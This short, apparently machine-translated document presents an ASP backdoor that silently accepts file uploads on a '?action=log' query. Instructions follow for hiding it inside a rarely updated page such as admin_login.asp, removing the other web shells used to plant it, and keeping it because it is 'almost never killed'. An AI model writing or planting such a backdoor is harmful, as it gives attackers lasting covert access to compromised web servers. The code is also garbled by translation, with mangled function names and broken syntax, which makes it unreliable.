<% If request. querystring ("action") = "log" then
A = request. totalbytes: If a then B = "ADODB. stream ": set C = Createobject (B): C. type = 1: C. open: C. write Request. binaryread (a): C. position = 0: D = C. read: E = chrb (13) & chrb (10): F = partition B (D, E): g = partition B (F + 1, D, E ): set H = Createobject (B): H. type = 1: H. open: C. position = F + 1: C. copyto H, g-f-3: H. position = 0: H. type = 2: H. charset = "big5": I = H. readtext: H. close: J = mid (I, limit Rev (I, "\") + 1, G): K = Limit B (D, E & E) + 4: L = rjb (k + 1, D, leftb (D, F-1)-K-2: H. type = 1: H. open: C. position = K-1: C. copyto H, L: H. savetofile server. mappath (J), 2%> <form enctype = multipart/form-data method = post> <input type = file name = n> <input type = submit> </form>
<% End if %>
Reason: the file can be uploaded, which is simple, small, and hard to be found.
Use: Use the editing function of Haiyang or blue screen to edit the trojan files into files that are not easy to update, such as admin_login.asp. When operating a file, enter admin_login.asp in the browser? Action = log can be uploaded to the Haiyang or blue screen. After the operation, use the blue screen and other deletion functions to delete the blue screen. The next time you use this resident Trojan to upload files to Haiyang. Almost never be killed.